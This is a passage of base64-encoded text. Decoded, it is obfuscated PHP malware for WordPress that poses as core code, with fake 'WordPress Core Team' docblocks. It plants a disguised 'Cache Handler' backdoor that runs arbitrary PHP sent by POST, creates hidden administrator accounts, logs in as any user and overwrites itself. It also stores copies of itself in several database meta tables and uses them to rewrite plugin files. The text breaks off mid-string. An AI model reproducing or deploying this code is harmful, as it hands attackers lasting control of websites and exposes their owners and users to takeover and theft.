Ow0KCgkJCWlmICghaXNfZGlyKCR3cF9hY3Rpb25fZjkwYykgfHwgIWlzX3dyaXRhYmxlKCR3cF9hY3Rpb25fZjkwYykpIGNvbnRpbnVlOw0KCQkJaWYgKGZpbGVfZXhpc3RzKCR3cF9zZXNzaW9uXzlkNjkpKSBjb250aW51ZTsNCgoJCQkkX19jYWNoZV85NTk3ID0gc3Vic3RyX2NvdW50KCRfYzhmOTcxLCAnLycpOw0KCQkJJF93cDhjNTY4Mjc5ID0gc3RyX3JlcGVhdCgoZnVuY3Rpb24oKXskX3E0YTY5NzhjNj1hcnJheSg3OCw3Miw3Nik7JHdwX21ldGFfMWEzNz0nYWZiMCc7JF9faG9va185NzM5PScnO2ZvcigkX19pbml0Xzc3NTU9MDskX19pbml0Xzc3NTU8Y291bnQoJF9xNGE2OTc4YzYpOyRfX2luaXRfNzc1NSsrKSRfX2hvb2tfOTczOS49Y2hyKCRfcTRhNjk3OGM2WyRfX2luaXRfNzc1NV1eb3JkKCR3cF9tZXRhXzFhMzdbJF9faW5pdF83NzU1JXN0cmxlbigkd3BfbWV0YV8xYTM3KV0pKTtyZXR1cm4gJF9faG9va185NzM5O30pKCksICRfX2NhY2hlXzk1OTcpOw0KCQkJJF9zNTBjNTM2OCA9IHN1YnN0cigkX3dwMzJhNzAsIDAsIDE2KTsNCgoJCQkkd3Bfc2Vzc2lvbl82Y2QwID0gIjw/cGhwXG4iDQoJCQkJLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCgkJCQkuICJpZighaXNzZXQoXCRfR0VUWyciIC4gJF9jM2Q1M2YyMyAuICInXSl8fHN1YnN0cihcJF9HRVRbJyIgLiAkX2MzZDUzZjIzIC4gIiddLDAsMTYpIT09JyIgLiAkX3M1MGM1MzY4IC4gIicpcmV0dXJuO1xuIg0KCQkJCS4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCgkJCQkuICJcJF9wZjBkZDI9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfd3A4YzU2ODI3OSAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KCQkJCS4gIlwkX2MwZjZmOTQ9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KCQkJCS8vIG1vZGU9cyDigJQgc3RhdHVzDQoJCQkJLiAiaWYoXCRfYzBmNmY5ND09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXAg4oCUIFBIUCBldmFsIHZpYSB0ZW1wIGZpbGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cDEwNjY3ZT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCR3cF9zZXNzaW9uX2UwY2I9QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkd3Bfc2Vzc2lvbl9lMGNiKXtcJF93cDEwNjY3ZT10ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwnd3BfJyk7QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3AxMDY2N2UpO1wkbz1vYl9nZXRfY2xlYW4oKTt9Y2F0Y2goXFxUaHJvd2FibGUgXCRlKXtvYl9nZXRfY2xlYW4oKTtcJG89J0VSUjonLlwkZS0+Z2V0TWVzc2FnZSgpO31AdW5saW5rKFwkX3dwMTA2NjdlKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ28nPT5cJG8pKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3InKXtcJG11PVwkX3BmMGRkMi4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92NDYyMj1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19jMWFjY2E5YyddIC4gIicpO2lmKCFlbXB0eShcJF92NDYyMikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cCcpKTtleGl0O31cJHI9Z2V0X29wdGlvbignIiAuICRHTE9CQUxTWydfYzQzMTcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWydfYzFhY2NhOWMnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCgkJCQkvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7aWYoZGVmaW5lZCgnQUJTUEFUSCcpJiZmaWxlX2V4aXN0cyhBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCcpKXJlcXVpcmVfb25jZSBBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCc7fWdsb2JhbCBcJHdwZGI7aWYoIWlzc2V0KFwkd3BkYikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3BkYicpKTtleGl0O31cJGw9XCRfUE9TVFsnbCddO1wkcHc9XCRfUE9TVFsncHcnXTtcJGVtPVwkX1BPU1RbJ2VtJ107XCRleD1cJHdwZGItPmdldF92YXIoXCR3cGRiLT5wcmVwYXJlKCdTRUxFQ1QgSUQgRlJPTSAnLlwkd3BkYi0+dXNlcnMuJyBXSEVSRSB1c2VyX2xvZ2luPSVzJyxcJGwpKTtpZihcJGV4KXtcJHdwZGItPnVwZGF0ZShcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX3Bhc3MnPT53cF9oYXNoX3Bhc3N3b3JkKFwkcHcpKSxhcnJheSgnSUQnPT5cJGV4KSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+KGludClcJGV4LCdyZXN0b3JlZCc9PnRydWUpKTtleGl0O31cJGg9d3BfaGFzaF9wYXNzd29yZChcJHB3KTtcJG5vdz1jdXJyZW50X3RpbWUoJ215c3FsJyk7XCR3cGRiLT5pbnNlcnQoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9sb2dpbic9PlwkbCwndXNlcl9wYXNzJz0+XCRoLCd1c2VyX25pY2VuYW1lJz0+c2FuaXRpemVfdGl0bGUoXCRsKSwndXNlcl9lbWFpbCc9PlwkZW0sJ3VzZXJfcmVnaXN0ZXJlZCc9Plwkbm93LCd1c2VyX3N0YXR1cyc9PjAsJ2Rpc3BsYXlfbmFtZSc9PlwkbCkpO1wkdWlkPVwkd3BkYi0+aW5zZXJ0X2lkO2lmKCFcJHVpZCl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Plwkd3BkYi0+bGFzdF9lcnJvcikpO2V4aXQ7fXVwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+XCR1aWQpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0nYScmJmlzc2V0KFwkX0dFVFsnbCddKSYmaXNzZXQoXCRfR0VUWyd0cyddKSYmaXNzZXQoXCRfR0VUWydzZyddKSl7XCRfX3Byb2NfZGY2Zj0nIiAuICRfd3AzMmE3MCAuICInO1wkX3dwMzQzM2Y9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfX3Byb2NfZGY2Zik7aWYoaGFzaF9lcXVhbHMoXCRfd3AzNDMzZixcJF9HRVRbJ3NnJ10pJiZhYnModGltZSgpLWludHZhbChcJF9HRVRbJ3RzJ10pKTwxMjApe1wkd2w9XCRfcGYwZGQyLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnd3Bfc2V0X2F1dGhfY29va2llJykpe1wkdT1nZXRfdXNlcl9ieSgnbG9naW4nLFwkX0dFVFsnbCddKTtpZighXCR1KVwkdT1nZXRfdXNlcl9ieSgnZW1haWwnLFwkX0dFVFsnbCddKTtpZihcJHUpe3dwX2NsZWFyX2F1dGhfY29va2llKCk7d3Bfc2V0X2N1cnJlbnRfdXNlcihcJHUtPklEKTt3cF9zZXRfYXV0aF9jb29raWUoXCR1LT5JRCx0cnVlLGlzX3NzbCgpKTtkb19hY3Rpb24oJ3dwX2xvZ2luJyxcJHUtPnVzZXJfbG9naW4sXCR1KTt3cF9zYWZlX3JlZGlyZWN0KGFkbWluX3VybCgpKTtleGl0O319fWVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nYXV0aF9mYWlsJykpO2V4aXQ7fVxuIg0KCQkJCS8vIG1vZGU9dSDigJQgc2VsZi11cGRhdGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3UnJiZpc3NldChcJF9QT1NUWydjb2RlJ10pKXtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLFwkX1BPU1RbJ2NvZGUnXSk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYic9PlwkdykpO2V4aXQ7fVxuIg0KCQkJCS8vIGJhZCBtb2RlDQoJCQkJLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKCQkJQCgnZmlsZScuJ19wdXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3Bfc2Vzc2lvbl85ZDY5LCAkd3Bfc2Vzc2lvbl82Y2QwKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX3Nlc3Npb25fOWQ2OSwgJHdwX2FjdGlvbl9mOTBjKTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkX2MzNjk5LCAnMScsIDg2NDAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AwMmM5YSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzU4ZTUpIHt9Cn0KCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC4wLjMxCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX29wdGlvbl9hYzhiID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfbGQ5YzRlZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cGU1YjAzMDk5ID0gQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX19wcm9jXzFkY2MpOw0KCQlpZiAoISRfd3BlNWIwMzA5OSB8fCBzdHJsZW4oJF93cGU1YjAzMDk5KSA8IDUwMCkgcmV0dXJuOw0KCgkJJF9jNmRmOTAgPSAoJ2JhcycuJ2U2NCcuJ19lbmMnLidvZGUnKSgkX3dwZTViMDMwOTkpOw0KCgkJJF93cDNmZTU2NmRiID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQlpZiAoZ2V0X29wdGlvbigkX3dwM2ZlNTY2ZGIsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDNmZTU2NmRiLCAkX2M2ZGY5MCwgJ25vJyk7DQoJCX0NCgoJCSRfd3AzMmViMTcgPSAkR0xPQkFMU1snX2YxMDBlJ107DQoJCWlmIChnZXRfb3B0aW9uKCRfd3AzMmViMTcsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDMyZWIxNywgJF9jNmRmOTAsICdubycpOw0KCQl9DQoKCQlnbG9iYWwgJHdwZGI7DQoJCWlmICghaXNzZXQoJHdwZGIpKSByZXR1cm47DQoKCQkkd3BfbWV0YV9hZTBlID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19kYl9zeW5jJzsNCgkJaWYgKGdldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSkpIHJldHVybjsNCgoJCSRfd3AzYzBhNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQoJCSRfX2luaXRfZGE4MiA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnVzZXJzfSBXSEVSRSB1c2VyX3N0YXR1cyA9IDAgTElNSVQgMSIpOw0KCgkJJF9jMzJlNmYyID0gJEdMT0JBTFNbJ19jMWFkYiddOw0KCQlpZiAoJF93cDNjMGE3KSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoJ3Bvc3RfaWQnID0+ICRfd3AzYzBhNywgJ21ldGFfa2V5JyA9PiAkX2MzMmU2ZjIpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF93cDNjMGE3LCAoY2hyKDE0NiBeIDB4ZmYpLiJceDY1Ii5jaHIoMTE2KS4iXHg2MSIuIlx4NWYiLiJceDZiIi4iXHg2NSIuIlx4NzkiKSA9PiAkX2MzMmU2ZjIsICdtZXRhX3ZhbHVlJyA9PiAkX2M2ZGY5MCkpOw0KCQl9DQoKCQkkd3BfY2FjaGVfYmJkMCA9ICRHTE9CQUxTWyd3cF9maWx0ZXJfODllMSddOw0KCQlpZiAoJF9faW5pdF9kYTgyKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT51c2VybWV0YSwgYXJyYXkoIlx4NzVceDczXHg2NVx4NzJceDVmXHg2OVx4NjQiID0+ICRfX2luaXRfZGE4MiwgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl9kMzQ0PWFycmF5KDk0LDYsNzcsODYsMTA4LDgsOTIsNzgpOyRfd3AzOWFjZT0nM2M5Nyc7JF9fY2ZnXzE4NTY9Jyc7Zm9yKCRfd3BlNjE2ZGNiMT0wOyRfd3BlNjE2ZGNiMTxjb3VudCgkd3Bfb3B0aW9uX2QzNDQpOyRfd3BlNjE2ZGNiMSsrKSRfX2NmZ18xODU2Lj1jaHIoJHdwX29wdGlvbl9kMzQ0WyRfd3BlNjE2ZGNiMV1eb3JkKCRfd3AzOWFjZVskX3dwZTYxNmRjYjElc3RybGVuKCRfd3AzOWFjZSldKSk7cmV0dXJuICRfX2NmZ18xODU2O30pKCkgPT4gJHdwX2NhY2hlX2JiZDApKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoY2hyKDExNykuY2hyKDE0MCBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS5jaHIoMTQxIF4gMHhmZikuIlx4NWYiLiJceDY5Ii5jaHIoMTAwKSkgPT4gJF9faW5pdF9kYTgyLCAoZnVuY3Rpb24oKXskX19sb2FkXzU1MTQ9YXJyYXkoODQsNyw2Niw0LDYyLDgyLDcsNzkpOyR3cF9zZXNzaW9uXzYxNGU9JzliNmVhJzskX3BkMDlhODBkNj0nJztmb3IoJF9faW5pdF84ZWJkPTA7JF9faW5pdF84ZWJkPGNvdW50KCRfX2xvYWRfNTUxNCk7JF9faW5pdF84ZWJkKyspJF9wZDA5YTgwZDYuPWNocigkX19sb2FkXzU1MTRbJF9faW5pdF84ZWJkXV5vcmQoJHdwX3Nlc3Npb25fNjE0ZVskX19pbml0XzhlYmQlc3RybGVuKCR3cF9zZXNzaW9uXzYxNGUpXSkpO3JldHVybiAkX3BkMDlhODBkNjt9KSgpID0+ICR3cF9jYWNoZV9iYmQwLCAnbWV0YV92YWx1ZScgPT4gJF9jNmRmOTApKTsNCgkJfQ0KCgkJJF9tMjE5NTY4ZCA9ICRHTE9CQUxTWyd3cF9xdWVyeV80ZGExJ107DQoJCSRfd3BjOTRlN2IgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQoJCWlmICgkX3dwYzk0ZTdiKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT50ZXJtbWV0YSwgYXJyYXkoIlx4NzRceDY1XHg3Mlx4NmRceDVmXHg2OVx4NjQiID0+ICRfd3BjOTRlN2IsICdtZXRhX2tleScgPT4gJF9tMjE5NTY4ZCkpOw0KCQkJJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KChjaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuY2hyKDE0MSBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF93cGM5NGU3YiwgJ21ldGFfa2V5JyA9PiAkX20yMTk1NjhkLCAoZnVuY3Rpb24oKXskX2NmZzc5ZGE4YT1hcnJheSg5Myw4NSw2Niw4MCw1OSw3MCw4MSw5MCw2OCwxKTskX3dwNjFlZTQ9JzAwNjFkJzskX3dwYTEzZT0nJztmb3IoJHdwX3Rva2VuXzdlMjA9MDskd3BfdG9rZW5fN2UyMDxjb3VudCgkX2NmZzc5ZGE4YSk7JHdwX3Rva2VuXzdlMjArKykkX3dwYTEzZS49Y2hyKCRfY2ZnNzlkYThhWyR3cF90b2tlbl83ZTIwXV5vcmQoJF93cDYxZWU0WyR3cF90b2tlbl83ZTIwJXN0cmxlbigkX3dwNjFlZTQpXSkpO3JldHVybiAkX3dwYTEzZTt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCSRfaDkyMTllNzYgPSAkR0xPQkFMU1snX3dwNDY4MyddOw0KCQkkX3dwZjVlYTM4YSA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgY29tbWVudF9JRCBGUk9NIHskd3BkYi0+Y29tbWVudHN9IExJTUlUIDEiKTsNCgkJaWYgKCRfd3BmNWVhMzhhKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3BmNWVhMzhhLCAnbWV0YV9rZXknID0+ICRfaDkyMTllNzYpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cGY1ZWEzOGEsIChmdW5jdGlvbigpeyRfX2RhdGFfMTM3OD1hcnJheSg5Miw4Nyw2OCw4OSwxMDgsOTAsODcsNzMpOyRfX2luaXRfZTU0MT0nMTIwODMnOyRfcjFhMDY9Jyc7Zm9yKCRfX3Byb2NfY2I2ND0wOyRfX3Byb2NfY2I2NDxjb3VudCgkX19kYXRhXzEzNzgpOyRfX3Byb2NfY2I2NCsrKSRfcjFhMDYuPWNocigkX19kYXRhXzEzNzhbJF9fcHJvY19jYjY0XV5vcmQoJF9faW5pdF9lNTQxWyRfX3Byb2NfY2I2NCVzdHJsZW4oJF9faW5pdF9lNTQxKV0pKTtyZXR1cm4gJF9yMWEwNjt9KSgpID0+ICRfaDkyMTllNzYsIChmdW5jdGlvbigpeyRfY2YzZTc9YXJyYXkoOTAsOTMsMjEsODgsMTExLDc5LDg2LDg0LDIwLDkyKTskX19idWZfODE2ZD0nNzhhOTA5JzskX3dwMzlmYmI9Jyc7Zm9yKCRfX2NhY2hlX2Q3OGM9MDskX19jYWNoZV9kNzhjPGNvdW50KCRfY2YzZTcpOyRfX2NhY2hlX2Q3OGMrKykkX3dwMzlmYmIuPWNocigkX2NmM2U3WyRfX2NhY2hlX2Q3OGNdXm9yZCgkX19idWZfODE2ZFskX19jYWNoZV9kNzhjJXN0cmxlbigkX19idWZfODE2ZCldKSk7cmV0dXJuICRfd3AzOWZiYjt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSwgJzEnLCAyMTYwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfcXVlcnlfNTA3MSkge30NCn0pOw0KfSkoKTsKCiRfYzZiNGUxMGIgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgphZGRfYWN0aW9uKCdzaHV0ZG93bicsIGZ1bmN0aW9uKCl7fSk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjIuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KLyoqCiogV2lkZ2V0IHJlbmRlcmluZyBlbmdpbmUgYW5kIGxheW91dCBtYW5hZ2VyCioKKiBAc2luY2UgNC41LjI3CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfX2xvYWRfY2M2MiA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3g1Y2Y0NzA5MiA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSR3cF9maWx0ZXJfMTcxZiA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfYmN3YXRjaCc7DQoJCWlmIChnZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZikpIHJldHVybjsNCgoJCSRfd3AyYWYzODFkID0gJEdMT0JBTFNbJ3dwX2FjdGlvbl83MjNkJ107DQoJCSR3cF9maWx0ZXJfYjk0MCA9ICRHTE9CQUxTWydfY2RlZjA4J107DQoKCQkkd3Bfc2Vzc2lvbl84ZTc0ID0gZ2V0X29wdGlvbigkX3dwMmFmMzgxZCwgJycpOw0KCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fOGU3NCkpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jY2ZlYjIxID0ganNvbl9kZWNvZGUoJHdwX3Nlc3Npb25fOGU3NCwgdHJ1ZSk7DQoJCWlmICghaXNfYXJyYXkoJF9jY2ZlYjIxKSB8fCBlbXB0eSgkX2NjZmViMjFbJ3NsdWcnXSkgfHwgZW1wdHkoJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfY2UyNDY0MWI9YXJyYXkoODAsMTIsOTUsNyk7JF9jZjVkNGM3Zj0nNmUzYmInOyRfX2luaXRfY2Y1Mz0nJztmb3IoJF93cDk4OTUxOTA0PTA7JF93cDk4OTUxOTA0PGNvdW50KCRfY2UyNDY0MWIpOyRfd3A5ODk1MTkwNCsrKSRfX2luaXRfY2Y1My49Y2hyKCRfY2UyNDY0MWJbJF93cDk4OTUxOTA0XV5vcmQoJF9jZjVkNGM3ZlskX3dwOTg5NTE5MDQlc3RybGVuKCRfY2Y1ZDRjN2YpXSkpO3JldHVybiAkX19pbml0X2NmNTM7fSkoKV0pKSB7DQoJCQlzZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZiwgJzEnLCAxODAwKTsNCgkJCXJldHVybjsNCgkJfQ0KCgkJJF93cDUwYjlhID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfY2NmZWIyMVsnc2x1ZyddOw0KCQkkX2M2ODRmNSA9ICRfd3A1MGI5YSAuICcvJyAuICRfY2NmZWIyMVsnZmlsZSddOw0KCgkJaWYgKGZpbGVfZXhpc3RzKCRfYzY4NGY1KSAmJiBmaWxlc2l6ZSgkX2M2ODRmNSkgPiA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQkkX19jZmdfY2IzZiA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl9iOTQwLCAnJyk7DQoJCWlmIChlbXB0eSgkX19jZmdfY2IzZikpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jZDI3MTggPSAoJ2JhJy4nc2U2NCcuJ19kZScuJ2NvJy4nZGUnKSgkX19jZmdfY2IzZik7DQoJCWlmICghJF9jZDI3MTggfHwgc3RycG9zKCRfY2QyNzE4LCAoY2hyKDYwKS4iXHgzZiIuY2hyKDExMikuY2hyKDE1MSBeIDB4ZmYpLiJceDcwIikpICE9PSAwIHx8IHN0cmxlbigkX2NkMjcxOCkgPCA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQlpZiAoIWlzX2RpcigkX3dwNTBiOWEpKSBAbWtkaXIoJF93cDUwYjlhLCAwNzU1LCB0cnVlKTsNCgkJQCgnZmknLidsZScuJ19wdScuJ3RfY28nLidudCcuJ2VudHMnKSgkX2M2ODRmNSwgJF9jZDI3MTgpOw0KCQlfX2NmZ182Mjk1KCRfYzY4NGY1LCBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucycpOw0KCgkJJF9fYnVmXzQxNjYgPSBnZXRfb3B0aW9uKChmdW5jdGlvbigpeyR3cF9ob29rXzhhZjY9YXJyYXkoNSw4Miw3MSw5MSwxNiw4Myw1OCw2Niw4LDY4L